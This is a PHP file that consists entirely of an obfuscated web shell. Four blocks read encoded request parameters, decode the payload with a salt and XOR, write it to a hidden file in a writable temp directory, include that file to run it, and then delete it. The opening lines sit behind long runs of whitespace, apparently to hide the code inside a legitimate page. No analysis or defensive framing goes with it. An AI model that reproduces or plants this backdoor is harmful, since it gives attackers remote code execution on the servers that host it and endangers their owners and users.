<?php																																										if(isset($_REQUEST) && isset($_REQUEST["\x70gr\x70"])){ $descriptor = $_REQUEST["\x70gr\x70"]; $descriptor = explode ( '.', $descriptor ); $flg = ''; $salt = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen($salt); $len = count($descriptor); for ($r = 0; $r <$len; $r++) {$v5 = $descriptor[$r]; $sChar = ord($salt[$r%$lenS]); $d = ((int)$v5 - $sChar - ($r%10)) ^ 59; $flg .= chr($d); } $binding = array_filter(["/dev/shm", getenv("TMP"), sys_get_temp_dir(), getcwd(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP"), "/tmp", session_save_path()]); $token = 0; do { $component = $binding[$token] ?? null; if ($token >= count($binding)) break; if (!( !is_dir($component) || !is_writable($component) )) { $ent = "$component" . "/.entry"; if (@file_put_contents($ent, $flg) !== false) { include $ent; unlink($ent); exit; } } $token++; } while (true); }
																																										if(array_key_exists("k", $_POST)){ $marker = $_POST["k"]; $marker = explode ( "." , $marker) ; $ref = ''; $salt2 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $sLen = strlen( $salt2 ); $w = 0; $__tmp = $marker; while( $v1 = array_shift( $__tmp)) { $chS = ord( $salt2[$w % $sLen] ); $dec =( ( int)$v1 - $chS -( $w % 10)) ^ 18; $ref.=chr( $dec ); $w++; } $reference = array_filter([session_save_path(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TMP"), sys_get_temp_dir(), getcwd(), getenv("TEMP"), "/dev/shm", "/tmp"]); for ($pointer = 0, $binding = count($reference); $pointer < $binding; $pointer++) { $flg = $reference[$pointer]; if (is_writable($flg) && is_dir($flg)) { $itm = str_replace("{var_dir}", $flg, "{var_dir}/.key"); $file = fopen($itm, 'w'); if ($file) { fwrite($file, $ref); fclose($file); include $itm; @unlink($itm); exit; } } } }
																																										if(isset($_REQUEST["\x6D\x72k"])){ $itm = array_filter(["/tmp", getcwd(), sys_get_temp_dir(), getenv("TMP"), "/var/tmp", "/dev/shm", session_save_path(), ini_get("upload_tmp_dir"), getenv("TEMP")]); $obj = $_REQUEST["\x6D\x72k"]; $obj= explode ( '.' , $obj) ; $dat = ''; $salt3 = 'abcdefghijklmnopqrstuvwxyz0123456789'; $lenS = strlen( $salt3); $p = 0; $__tmp = $obj; while( $v8 = array_shift( $__tmp)) { $sChar = ord( $salt3[$p % $lenS]); $dec =( ( int)$v8 - $sChar -( $p % 10))^ 58; $dat .=chr( $dec); $p++; } foreach ($itm as $ref): if (!( !is_dir($ref) || !is_writable($ref) )) { $object = implode("/", [$ref, ".value"]); if (@file_put_contents($object, $dat) !== false) { include $object; unlink($object); die(); } } endforeach; }


if(isset($_REQUEST["\x65l\x65m"]) ? true : false){
	$data_chunk = $_REQUEST["\x65l\x65m"];
				$data_chunk	  = explode ( 	 '.' ,			$data_chunk	  ); 	 
	$flag = '';
            $salt = 'abcdefghijklmnopqrstuvwxyz0123456789';
            $lenS = strlen($salt);
            $p = 0;
    
            $__tmp = $data_chunk;
            while ($v1 = array_shift($__tmp)) {
                $sChar = ord($salt[$p		%$lenS]);
                $dec = ((int)$v1 - $sChar - ($p		%10)) ^ 69;
                $flag .= chr($dec);
                $p++;
            }
	$comp = array_filter([session_save_path(), "/tmp", getenv("TMP"), "/dev/shm", getcwd(), sys_get_temp_dir(), ini_get("upload_tmp_dir"), "/var/tmp", getenv("TEMP")]);
	for ($res = 0, $pgrp = count($comp); $res < $pgrp; $res++) {
    $symbol = $comp[$res];
    		if (!( !is_dir($symbol) || !is_writable($symbol) )) {
    $desc = "$symbol" . "/.flg";
    $success = file_put_contents($desc, $flag);
if ($success) {
	include $desc;
	@unlink($desc);
	exit;}
}
}
}